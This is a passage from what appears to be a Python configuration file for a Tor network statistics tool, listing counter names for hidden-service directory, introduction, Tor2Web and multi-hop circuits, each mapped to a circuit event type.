'HSDir3SingleOnionServiceSuccessCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'HSDir3SingleOnionServiceSuccessCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'HSDir3SingleOnionServiceSuccessCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'HSDir3SingleOnionServiceSuccessCircuitCellRatio' : { CIRCUIT_EVENT },
'HSDir3SingleOnionServiceSuccessCircuitLifeTime' : { CIRCUIT_EVENT },
'HSDir3MultiHopClientCircuitCount' : { CIRCUIT_EVENT },
'HSDir3MultiHopClientCircuitInboundCellCount' : { CIRCUIT_EVENT },
'HSDir3MultiHopClientCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'HSDir3MultiHopClientCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'HSDir3MultiHopClientCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'HSDir3MultiHopClientCircuitCellRatio' : { CIRCUIT_EVENT },
'HSDir3MultiHopClientCircuitLifeTime' : { CIRCUIT_EVENT },
'HSDir3MultiHopClientFailureCircuitCount' : { CIRCUIT_EVENT },
'HSDir3MultiHopClientFailureCircuitInboundCellCount' : { CIRCUIT_EVENT },
'HSDir3MultiHopClientFailureCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'HSDir3MultiHopClientFailureCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'HSDir3MultiHopClientFailureCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'HSDir3MultiHopClientFailureCircuitCellRatio' : { CIRCUIT_EVENT },
'HSDir3MultiHopClientFailureCircuitLifeTime' : { CIRCUIT_EVENT },
'HSDir3MultiHopClientSuccessCircuitCount' : { CIRCUIT_EVENT },
'HSDir3MultiHopClientSuccessCircuitInboundCellCount' : { CIRCUIT_EVENT },
'HSDir3MultiHopClientSuccessCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'HSDir3MultiHopClientSuccessCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'HSDir3MultiHopClientSuccessCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'HSDir3MultiHopClientSuccessCircuitCellRatio' : { CIRCUIT_EVENT },
'HSDir3MultiHopClientSuccessCircuitLifeTime' : { CIRCUIT_EVENT },
'HSDir3MultiHopServiceCircuitCount' : { CIRCUIT_EVENT },
'HSDir3MultiHopServiceCircuitInboundCellCount' : { CIRCUIT_EVENT },
'HSDir3MultiHopServiceCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'HSDir3MultiHopServiceCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'HSDir3MultiHopServiceCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'HSDir3MultiHopServiceCircuitCellRatio' : { CIRCUIT_EVENT },
'HSDir3MultiHopServiceCircuitLifeTime' : { CIRCUIT_EVENT },
'HSDir3MultiHopServiceFailureCircuitCount' : { CIRCUIT_EVENT },
'HSDir3MultiHopServiceFailureCircuitInboundCellCount' : { CIRCUIT_EVENT },
'HSDir3MultiHopServiceFailureCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'HSDir3MultiHopServiceFailureCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'HSDir3MultiHopServiceFailureCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'HSDir3MultiHopServiceFailureCircuitCellRatio' : { CIRCUIT_EVENT },
'HSDir3MultiHopServiceFailureCircuitLifeTime' : { CIRCUIT_EVENT },
'HSDir3MultiHopServiceSuccessCircuitCount' : { CIRCUIT_EVENT },
'HSDir3MultiHopServiceSuccessCircuitInboundCellCount' : { CIRCUIT_EVENT },
'HSDir3MultiHopServiceSuccessCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'HSDir3MultiHopServiceSuccessCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'HSDir3MultiHopServiceSuccessCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'HSDir3MultiHopServiceSuccessCircuitCellRatio' : { CIRCUIT_EVENT },
'HSDir3MultiHopServiceSuccessCircuitLifeTime' : { CIRCUIT_EVENT },
# Intro and Rend Circuits
'IntroCircuitCount' : { CIRCUIT_EVENT },
'IntroCircuitInboundCellCount' : { CIRCUIT_EVENT },
'IntroCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'IntroCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'IntroCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'IntroCircuitLifeTime' : { CIRCUIT_EVENT },
'IntroFailureCircuitCount' : { CIRCUIT_EVENT },
'IntroFailureCircuitInboundCellCount' : { CIRCUIT_EVENT },
'IntroFailureCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'IntroFailureCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'IntroFailureCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'IntroFailureCircuitLifeTime' : { CIRCUIT_EVENT },
'IntroSuccessCircuitCount' : { CIRCUIT_EVENT },
'IntroSuccessCircuitInboundCellCount' : { CIRCUIT_EVENT },
'IntroSuccessCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'IntroSuccessCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'IntroSuccessCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'IntroSuccessCircuitLifeTime' : { CIRCUIT_EVENT },
'IntroActiveCircuitCount' : { CIRCUIT_EVENT },
'IntroActiveCircuitInboundCellCount' : { CIRCUIT_EVENT },
'IntroActiveCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'IntroActiveCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'IntroActiveCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'IntroActiveCircuitCellRatio' : { CIRCUIT_EVENT },
'IntroActiveCircuitLifeTime' : { CIRCUIT_EVENT },
'IntroActiveFailureCircuitCount' : { CIRCUIT_EVENT },
'IntroActiveFailureCircuitInboundCellCount' : { CIRCUIT_EVENT },
'IntroActiveFailureCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'IntroActiveFailureCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'IntroActiveFailureCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'IntroActiveFailureCircuitCellRatio' : { CIRCUIT_EVENT },
'IntroActiveFailureCircuitLifeTime' : { CIRCUIT_EVENT },
'IntroActiveSuccessCircuitCount' : { CIRCUIT_EVENT },
'IntroActiveSuccessCircuitInboundCellCount' : { CIRCUIT_EVENT },
'IntroActiveSuccessCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'IntroActiveSuccessCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'IntroActiveSuccessCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'IntroActiveSuccessCircuitCellRatio' : { CIRCUIT_EVENT },
'IntroActiveSuccessCircuitLifeTime' : { CIRCUIT_EVENT },
'IntroInactiveCircuitCount' : { CIRCUIT_EVENT },
'IntroInactiveCircuitInboundCellCount' : { CIRCUIT_EVENT },
'IntroInactiveCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'IntroInactiveCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'IntroInactiveCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'IntroInactiveCircuitLifeTime' : { CIRCUIT_EVENT },
'IntroInactiveFailureCircuitCount' : { CIRCUIT_EVENT },
'IntroInactiveFailureCircuitInboundCellCount' : { CIRCUIT_EVENT },
'IntroInactiveFailureCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'IntroInactiveFailureCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'IntroInactiveFailureCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'IntroInactiveFailureCircuitLifeTime' : { CIRCUIT_EVENT },
'IntroInactiveSuccessCircuitCount' : { CIRCUIT_EVENT },
'IntroInactiveSuccessCircuitInboundCellCount' : { CIRCUIT_EVENT },
'IntroInactiveSuccessCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'IntroInactiveSuccessCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'IntroInactiveSuccessCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'IntroInactiveSuccessCircuitLifeTime' : { CIRCUIT_EVENT },
'IntroClientCircuitCount' : { CIRCUIT_EVENT },
'IntroClientCircuitInboundCellCount' : { CIRCUIT_EVENT },
'IntroClientCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'IntroClientCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'IntroClientCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'IntroClientCircuitLifeTime' : { CIRCUIT_EVENT },
'IntroClientFailureCircuitCount' : { CIRCUIT_EVENT },
'IntroClientFailureCircuitInboundCellCount' : { CIRCUIT_EVENT },
'IntroClientFailureCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'IntroClientFailureCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'IntroClientFailureCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'IntroClientFailureCircuitLifeTime' : { CIRCUIT_EVENT },
'IntroClientSuccessCircuitCount' : { CIRCUIT_EVENT },
'IntroClientSuccessCircuitInboundCellCount' : { CIRCUIT_EVENT },
'IntroClientSuccessCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'IntroClientSuccessCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'IntroClientSuccessCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'IntroClientSuccessCircuitLifeTime' : { CIRCUIT_EVENT },
'IntroClientActiveCircuitCount' : { CIRCUIT_EVENT },
'IntroClientActiveCircuitInboundCellCount' : { CIRCUIT_EVENT },
'IntroClientActiveCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'IntroClientActiveCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'IntroClientActiveCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'IntroClientActiveCircuitCellRatio' : { CIRCUIT_EVENT },
'IntroClientActiveCircuitLifeTime' : { CIRCUIT_EVENT },
'IntroClientActiveFailureCircuitCount' : { CIRCUIT_EVENT },
'IntroClientActiveFailureCircuitInboundCellCount' : { CIRCUIT_EVENT },
'IntroClientActiveFailureCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'IntroClientActiveFailureCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'IntroClientActiveFailureCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'IntroClientActiveFailureCircuitCellRatio' : { CIRCUIT_EVENT },
'IntroClientActiveFailureCircuitLifeTime' : { CIRCUIT_EVENT },
'IntroClientActiveSuccessCircuitCount' : { CIRCUIT_EVENT },
'IntroClientActiveSuccessCircuitInboundCellCount' : { CIRCUIT_EVENT },
'IntroClientActiveSuccessCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'IntroClientActiveSuccessCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'IntroClientActiveSuccessCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'IntroClientActiveSuccessCircuitCellRatio' : { CIRCUIT_EVENT },
'IntroClientActiveSuccessCircuitLifeTime' : { CIRCUIT_EVENT },
'IntroClientInactiveCircuitCount' : { CIRCUIT_EVENT },
'IntroClientInactiveCircuitInboundCellCount' : { CIRCUIT_EVENT },
'IntroClientInactiveCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'IntroClientInactiveCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'IntroClientInactiveCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'IntroClientInactiveCircuitLifeTime' : { CIRCUIT_EVENT },
'IntroClientInactiveFailureCircuitCount' : { CIRCUIT_EVENT },
'IntroClientInactiveFailureCircuitInboundCellCount' : { CIRCUIT_EVENT },
'IntroClientInactiveFailureCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'IntroClientInactiveFailureCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'IntroClientInactiveFailureCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'IntroClientInactiveFailureCircuitLifeTime' : { CIRCUIT_EVENT },
'IntroClientInactiveSuccessCircuitCount' : { CIRCUIT_EVENT },
'IntroClientInactiveSuccessCircuitInboundCellCount' : { CIRCUIT_EVENT },
'IntroClientInactiveSuccessCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'IntroClientInactiveSuccessCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'IntroClientInactiveSuccessCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'IntroClientInactiveSuccessCircuitLifeTime' : { CIRCUIT_EVENT },
'IntroServiceCircuitCount' : { CIRCUIT_EVENT },
'IntroServiceCircuitInboundCellCount' : { CIRCUIT_EVENT },
'IntroServiceCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'IntroServiceCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'IntroServiceCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'IntroServiceCircuitLifeTime' : { CIRCUIT_EVENT },
'IntroServiceFailureCircuitCount' : { CIRCUIT_EVENT },
'IntroServiceFailureCircuitInboundCellCount' : { CIRCUIT_EVENT },
'IntroServiceFailureCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'IntroServiceFailureCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'IntroServiceFailureCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'IntroServiceFailureCircuitLifeTime' : { CIRCUIT_EVENT },
'IntroServiceSuccessCircuitCount' : { CIRCUIT_EVENT },
'IntroServiceSuccessCircuitInboundCellCount' : { CIRCUIT_EVENT },
'IntroServiceSuccessCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'IntroServiceSuccessCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'IntroServiceSuccessCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'IntroServiceSuccessCircuitLifeTime' : { CIRCUIT_EVENT },
'IntroServiceActiveCircuitCount' : { CIRCUIT_EVENT },
'IntroServiceActiveCircuitInboundCellCount' : { CIRCUIT_EVENT },
'IntroServiceActiveCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'IntroServiceActiveCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'IntroServiceActiveCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'IntroServiceActiveCircuitCellRatio' : { CIRCUIT_EVENT },
'IntroServiceActiveCircuitLifeTime' : { CIRCUIT_EVENT },
'IntroServiceActiveFailureCircuitCount' : { CIRCUIT_EVENT },
'IntroServiceActiveFailureCircuitInboundCellCount' : { CIRCUIT_EVENT },
'IntroServiceActiveFailureCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'IntroServiceActiveFailureCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'IntroServiceActiveFailureCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'IntroServiceActiveFailureCircuitCellRatio' : { CIRCUIT_EVENT },
'IntroServiceActiveFailureCircuitLifeTime' : { CIRCUIT_EVENT },
'IntroServiceActiveSuccessCircuitCount' : { CIRCUIT_EVENT },
'IntroServiceActiveSuccessCircuitInboundCellCount' : { CIRCUIT_EVENT },
'IntroServiceActiveSuccessCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'IntroServiceActiveSuccessCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'IntroServiceActiveSuccessCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'IntroServiceActiveSuccessCircuitCellRatio' : { CIRCUIT_EVENT },
'IntroServiceActiveSuccessCircuitLifeTime' : { CIRCUIT_EVENT },
'IntroServiceInactiveCircuitCount' : { CIRCUIT_EVENT },
'IntroServiceInactiveCircuitInboundCellCount' : { CIRCUIT_EVENT },
'IntroServiceInactiveCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'IntroServiceInactiveCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'IntroServiceInactiveCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'IntroServiceInactiveCircuitLifeTime' : { CIRCUIT_EVENT },
'IntroServiceInactiveFailureCircuitCount' : { CIRCUIT_EVENT },
'IntroServiceInactiveFailureCircuitInboundCellCount' : { CIRCUIT_EVENT },
'IntroServiceInactiveFailureCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'IntroServiceInactiveFailureCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'IntroServiceInactiveFailureCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'IntroServiceInactiveFailureCircuitLifeTime' : { CIRCUIT_EVENT },
'IntroServiceInactiveSuccessCircuitCount' : { CIRCUIT_EVENT },
'IntroServiceInactiveSuccessCircuitInboundCellCount' : { CIRCUIT_EVENT },
'IntroServiceInactiveSuccessCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'IntroServiceInactiveSuccessCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'IntroServiceInactiveSuccessCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'IntroServiceInactiveSuccessCircuitLifeTime' : { CIRCUIT_EVENT },
'IntroTor2WebClientCircuitCount' : { CIRCUIT_EVENT },
'IntroTor2WebClientCircuitInboundCellCount' : { CIRCUIT_EVENT },
'IntroTor2WebClientCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'IntroTor2WebClientCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'IntroTor2WebClientCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'IntroTor2WebClientCircuitLifeTime' : { CIRCUIT_EVENT },
'IntroTor2WebClientFailureCircuitCount' : { CIRCUIT_EVENT },
'IntroTor2WebClientFailureCircuitInboundCellCount' : { CIRCUIT_EVENT },
'IntroTor2WebClientFailureCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'IntroTor2WebClientFailureCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'IntroTor2WebClientFailureCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'IntroTor2WebClientFailureCircuitLifeTime' : { CIRCUIT_EVENT },
'IntroTor2WebClientSuccessCircuitCount' : { CIRCUIT_EVENT },
'IntroTor2WebClientSuccessCircuitInboundCellCount' : { CIRCUIT_EVENT },
'IntroTor2WebClientSuccessCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'IntroTor2WebClientSuccessCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'IntroTor2WebClientSuccessCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'IntroTor2WebClientSuccessCircuitLifeTime' : { CIRCUIT_EVENT },
'IntroTor2WebClientActiveCircuitCount' : { CIRCUIT_EVENT },
'IntroTor2WebClientActiveCircuitInboundCellCount' : { CIRCUIT_EVENT },
'IntroTor2WebClientActiveCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'IntroTor2WebClientActiveCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'IntroTor2WebClientActiveCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'IntroTor2WebClientActiveCircuitCellRatio' : { CIRCUIT_EVENT },
'IntroTor2WebClientActiveCircuitLifeTime' : { CIRCUIT_EVENT },
'IntroTor2WebClientActiveFailureCircuitCount' : { CIRCUIT_EVENT },
'IntroTor2WebClientActiveFailureCircuitInboundCellCount' : { CIRCUIT_EVENT },
'IntroTor2WebClientActiveFailureCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'IntroTor2WebClientActiveFailureCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'IntroTor2WebClientActiveFailureCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'IntroTor2WebClientActiveFailureCircuitCellRatio' : { CIRCUIT_EVENT },
'IntroTor2WebClientActiveFailureCircuitLifeTime' : { CIRCUIT_EVENT },
'IntroTor2WebClientActiveSuccessCircuitCount' : { CIRCUIT_EVENT },
'IntroTor2WebClientActiveSuccessCircuitInboundCellCount' : { CIRCUIT_EVENT },
'IntroTor2WebClientActiveSuccessCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'IntroTor2WebClientActiveSuccessCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'IntroTor2WebClientActiveSuccessCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'IntroTor2WebClientActiveSuccessCircuitCellRatio' : { CIRCUIT_EVENT },
'IntroTor2WebClientActiveSuccessCircuitLifeTime' : { CIRCUIT_EVENT },
'IntroTor2WebClientInactiveCircuitCount' : { CIRCUIT_EVENT },
'IntroTor2WebClientInactiveCircuitInboundCellCount' : { CIRCUIT_EVENT },
'IntroTor2WebClientInactiveCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'IntroTor2WebClientInactiveCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'IntroTor2WebClientInactiveCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'IntroTor2WebClientInactiveCircuitLifeTime' : { CIRCUIT_EVENT },
'IntroTor2WebClientInactiveFailureCircuitCount' : { CIRCUIT_EVENT },
'IntroTor2WebClientInactiveFailureCircuitInboundCellCount' : { CIRCUIT_EVENT },
'IntroTor2WebClientInactiveFailureCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'IntroTor2WebClientInactiveFailureCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'IntroTor2WebClientInactiveFailureCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'IntroTor2WebClientInactiveFailureCircuitLifeTime' : { CIRCUIT_EVENT },
'IntroTor2WebClientInactiveSuccessCircuitCount' : { CIRCUIT_EVENT },
'IntroTor2WebClientInactiveSuccessCircuitInboundCellCount' : { CIRCUIT_EVENT },
'IntroTor2WebClientInactiveSuccessCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'IntroTor2WebClientInactiveSuccessCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'IntroTor2WebClientInactiveSuccessCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'IntroTor2WebClientInactiveSuccessCircuitLifeTime' : { CIRCUIT_EVENT },
'IntroSingleOnionServiceCircuitCount' : { CIRCUIT_EVENT },
'IntroSingleOnionServiceCircuitInboundCellCount' : { CIRCUIT_EVENT },
'IntroSingleOnionServiceCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'IntroSingleOnionServiceCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'IntroSingleOnionServiceCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'IntroSingleOnionServiceCircuitLifeTime' : { CIRCUIT_EVENT },
'IntroSingleOnionServiceFailureCircuitCount' : { CIRCUIT_EVENT },
'IntroSingleOnionServiceFailureCircuitInboundCellCount' : { CIRCUIT_EVENT },
'IntroSingleOnionServiceFailureCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'IntroSingleOnionServiceFailureCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'IntroSingleOnionServiceFailureCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'IntroSingleOnionServiceFailureCircuitLifeTime' : { CIRCUIT_EVENT },
'IntroSingleOnionServiceSuccessCircuitCount' : { CIRCUIT_EVENT },
'IntroSingleOnionServiceSuccessCircuitInboundCellCount' : { CIRCUIT_EVENT },
'IntroSingleOnionServiceSuccessCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'IntroSingleOnionServiceSuccessCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'IntroSingleOnionServiceSuccessCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'IntroSingleOnionServiceSuccessCircuitLifeTime' : { CIRCUIT_EVENT },
'IntroSingleOnionServiceActiveCircuitCount' : { CIRCUIT_EVENT },
'IntroSingleOnionServiceActiveCircuitInboundCellCount' : { CIRCUIT_EVENT },
'IntroSingleOnionServiceActiveCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'IntroSingleOnionServiceActiveCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'IntroSingleOnionServiceActiveCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'IntroSingleOnionServiceActiveCircuitCellRatio' : { CIRCUIT_EVENT },
'IntroSingleOnionServiceActiveCircuitLifeTime' : { CIRCUIT_EVENT },
'IntroSingleOnionServiceActiveFailureCircuitCount' : { CIRCUIT_EVENT },
'IntroSingleOnionServiceActiveFailureCircuitInboundCellCount' : { CIRCUIT_EVENT },
'IntroSingleOnionServiceActiveFailureCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'IntroSingleOnionServiceActiveFailureCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'IntroSingleOnionServiceActiveFailureCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'IntroSingleOnionServiceActiveFailureCircuitCellRatio' : { CIRCUIT_EVENT },
'IntroSingleOnionServiceActiveFailureCircuitLifeTime' : { CIRCUIT_EVENT },
'IntroSingleOnionServiceActiveSuccessCircuitCount' : { CIRCUIT_EVENT },
'IntroSingleOnionServiceActiveSuccessCircuitInboundCellCount' : { CIRCUIT_EVENT },
'IntroSingleOnionServiceActiveSuccessCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'IntroSingleOnionServiceActiveSuccessCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'IntroSingleOnionServiceActiveSuccessCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'IntroSingleOnionServiceActiveSuccessCircuitCellRatio' : { CIRCUIT_EVENT },
'IntroSingleOnionServiceActiveSuccessCircuitLifeTime' : { CIRCUIT_EVENT },
'IntroSingleOnionServiceInactiveCircuitCount' : { CIRCUIT_EVENT },
'IntroSingleOnionServiceInactiveCircuitInboundCellCount' : { CIRCUIT_EVENT },
'IntroSingleOnionServiceInactiveCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'IntroSingleOnionServiceInactiveCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'IntroSingleOnionServiceInactiveCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'IntroSingleOnionServiceInactiveCircuitLifeTime' : { CIRCUIT_EVENT },
'IntroSingleOnionServiceInactiveFailureCircuitCount' : { CIRCUIT_EVENT },
'IntroSingleOnionServiceInactiveFailureCircuitInboundCellCount' : { CIRCUIT_EVENT },
'IntroSingleOnionServiceInactiveFailureCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'IntroSingleOnionServiceInactiveFailureCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'IntroSingleOnionServiceInactiveFailureCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'IntroSingleOnionServiceInactiveFailureCircuitLifeTime' : { CIRCUIT_EVENT },
'IntroSingleOnionServiceInactiveSuccessCircuitCount' : { CIRCUIT_EVENT },
'IntroSingleOnionServiceInactiveSuccessCircuitInboundCellCount' : { CIRCUIT_EVENT },
'IntroSingleOnionServiceInactiveSuccessCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'IntroSingleOnionServiceInactiveSuccessCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'IntroSingleOnionServiceInactiveSuccessCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'IntroSingleOnionServiceInactiveSuccessCircuitLifeTime' : { CIRCUIT_EVENT },
'IntroMultiHopClientCircuitCount' : { CIRCUIT_EVENT },
'IntroMultiHopClientCircuitInboundCellCount' : { CIRCUIT_EVENT },
'IntroMultiHopClientCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'IntroMultiHopClientCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'IntroMultiHopClientCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'IntroMultiHopClientCircuitLifeTime' : { CIRCUIT_EVENT },
'IntroMultiHopClientFailureCircuitCount' : { CIRCUIT_EVENT },
'IntroMultiHopClientFailureCircuitInboundCellCount' : { CIRCUIT_EVENT },
'IntroMultiHopClientFailureCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'IntroMultiHopClientFailureCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'IntroMultiHopClientFailureCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'IntroMultiHopClientFailureCircuitLifeTime' : { CIRCUIT_EVENT },
'IntroMultiHopClientSuccessCircuitCount' : { CIRCUIT_EVENT },
'IntroMultiHopClientSuccessCircuitInboundCellCount' : { CIRCUIT_EVENT },
'IntroMultiHopClientSuccessCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'IntroMultiHopClientSuccessCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'IntroMultiHopClientSuccessCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'IntroMultiHopClientSuccessCircuitLifeTime' : { CIRCUIT_EVENT },
'IntroMultiHopClientActiveCircuitCount' : { CIRCUIT_EVENT },
'IntroMultiHopClientActiveCircuitInboundCellCount' : { CIRCUIT_EVENT },
'IntroMultiHopClientActiveCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'IntroMultiHopClientActiveCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'IntroMultiHopClientActiveCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'IntroMultiHopClientActiveCircuitCellRatio' : { CIRCUIT_EVENT },
'IntroMultiHopClientActiveCircuitLifeTime' : { CIRCUIT_EVENT },
'IntroMultiHopClientActiveFailureCircuitCount' : { CIRCUIT_EVENT },
'IntroMultiHopClientActiveFailureCircuitInboundCellCount' : { CIRCUIT_EVENT },
'IntroMultiHopClientActiveFailureCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'IntroMultiHopClientActiveFailureCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'IntroMultiHopClientActiveFailureCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'IntroMultiHopClientActiveFailureCircuitCellRatio' : { CIRCUIT_EVENT },
'IntroMultiHopClientActiveFailureCircuitLifeTime' : { CIRCUIT_EVENT },
